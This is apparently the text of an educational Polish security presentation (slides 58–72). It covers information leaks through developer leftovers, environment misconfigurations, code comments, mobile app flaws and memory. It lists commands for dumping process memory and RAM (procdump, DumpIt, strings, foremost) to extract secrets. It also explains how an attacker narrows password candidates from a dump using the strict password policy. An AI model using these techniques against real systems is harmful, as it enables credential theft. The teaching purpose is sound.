  • 58. Pozostałości developerskie ● odwołania do środowiska developerskiego w kodzie ● zasoby testowe, konsole testowe/developerskie ● konta testowe ● informacje logowane w konsoli ● flagi/parametry umożliwiające uwierzytelnienie ● funkcje resetowania ustawień, instalatory ● zasoby związane z rozwojem aplikacji (repozytoria plików, historia zmian, zadania do wykonania, dokumentacja projektowa/testowa) ● pliki tymczasowe, kopie, stare wersje plików ● zrzuty pustych baz (struktur) lub stanów początkowych ● zdalny dostęp, aktywne dodatkowe usługi ● niewyczyszczone logi oraz dane testowe
  • 61. Środowiska developerskie i testowe ● niewłaściwa kontrola dostępu (publiczny dostęp do aplikacji lub jej zasobów) ● zindeksowanie informacji o błędach oraz struktury katalogowej ● wycieki fragmentów kodu ● brak wykorzystania kryptografii ● tylne furtki (do szybkiego dostępu i zmian) ● modyfikacje z pominięciem procesu dokumentowania zmian ● użycie rzeczywistych danych (danych produkcyjnych) ● ...
  • 62. Środowiska produkcyjne ● niewłaściwe wdrożenia – niekompletna lub domyślna konfiguracja – niekompletny lub nieprzetestowany kod – szybkie poprawki funkcjonalne lub maskujące błędy – pozostawienie danych lub dostępów testowych – niewłaściwe przekazanie danych dostępowych – niedostateczne przetestowanie/poznanie rozwiązań przez użytkowników i administratorów ● utrzymanie aplikacji – niewłaściwe procedury backupów (tworzenia/składowania/przywracania) – niewłaściwe procedury aktualizacji – niewłaściwa/niebezpieczna konfiguracja mechanizmów kontroli dostępu i wymiany danych ● migracja i modyfikacje funkcjonalności – migracja danych we własnym zakresie (własne rozwiązania) – działania poza interfejsem aplikacji (np. operacje bezpośrednio na bazie)
  • 63. Komentarze ● szczegółowe opisy kodu (np. parametrów funkcji) ułatwia atakującemu analizę aplikacji i szukanie luk ● opisy planowanych funkcjonalności (np. „tu będzie dodatkowe pole komentarza”) ciekawe czy jest już to po stronie serwera obsługiwane? ● opisy problemów (np. „tu coś się psuło, więc trzeba było wyłączyć”) czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa? coś się psuje – dobry trop! ● zakomentowane fragmenty funkcji – oznacza, że z jakiegoś powodu funkcje zostały wyłączone z jakiego?, może coś nie działało jak trzeba? ● ToDo (np. „zrobić walidację”, „ograniczyć zakres”, „ograniczyć uprawnienia”) dobrze wiedzieć co nie działa :)
  • 64. Pozyskiwanie wrażliwych danych z pamięci operacyjnej ● zrzut pamięci procesu np. procdump -ma program.exe ● zrzut całej pamięci RAM np. Dumpit.exe ● zrzut pamięci jądra np. C:WindowsMinidumpMinidump.dmp ● pozyskiwanie ciągów tekstowych ze zrzutów np. strings -n 6 program.exe.dmp > program.exe.txt ● pozyskiwanie danych binarnych np. foremost -o program.exe.dmp
  • 65. Pozyskiwanie wrażliwych danych z pamięci operacyjnej
  • 66. Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki ● Podejście atakującego – wykorzystać siłę i zasoby przeciwnika przeciwko niemu przykład – w firmie stosowane są hasła, które muszą: ● mieć przynajmniej 12 znaków ● zawierać zarówno małe jak i wielkie litery ● zawierać cyfry ● zawierać znaki specjalne co robi atakujący: ● przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka ciągów, które zawierają jednocześnie: – duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków ● dzięki temu znacznie ogranicza zbiór potencjalnych haseł np. z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB (np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła ● atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł
  • 67. Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki ● Podejście atakującego – wykorzystać siłę i zasoby przeciwnika przeciwko niemu przykład 2 – w firmie hasła do systemów i aplikacji są zmieniane co 30 dni: ● jest wielu użytkowników ● użytkownicy mają dostęp do wielu systemów/aplikacji ● muszą się codziennie wiele razy logować jakie wnioski można z tego wyciągnąć atakujący: ● hasła do systemów i aplikacji będą podobne ● użytkownicy użyją schematów np. będą tworzyć hasła w oparciu o miesiące lub wybrane słowo i kolejne dni ● pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych
  • 68. Aplikacje mobilne a bezpieczeństwo ● Częste błędy: – brak zabezpieczeń kryptograficznych dla istotnych danych – „wrażliwe” informacje zapisywane do logów – brak weryfikacji certyfikatów – dane zapisywane na karcie SD – zła randomizacja – brak „zaciemnienia” kodu – osadzanie haseł i innych „wrażliwych” danych w aplikacji – api mobilne mniej restrykcyjne w stosunku do restrykcji w przypadku stron WWW
  • 69. Aplikacje mobilne a bezpieczeństwo
  • 70. Aplikacje mobilne a bezpieczeństwo
  • 71. Podsumowanie ● nawet pozornie nieszkodliwe informacje mogą być cenną wskazówką dla atakującego ● jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej zostaną powielone n razy w x miejscach ● atakujący często może pozyskać dużo istotnych danych pasywnie - bez nawiązywania połączenia z naszymi serwerami/siecią ● nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie z jej przeznaczeniem i w spodziewanym środowisku ● wycieki informacji/danych są zaproszeniem dla atakującego i często prowadzą do przykrych konsekwencji ● wycieki mogą powstawać w najmniej spodziewanych miejscach, często przez roztargnienie, niedopatrzenie, niewiedzę ● fałszywy, kontrolowany wyciek może być ciekawą bronią
  • 72. Dziękuję za uwagę ● Pytania? Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych. Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą do ich właścicieli i zostały użyte jedynie w celach informacyjnych.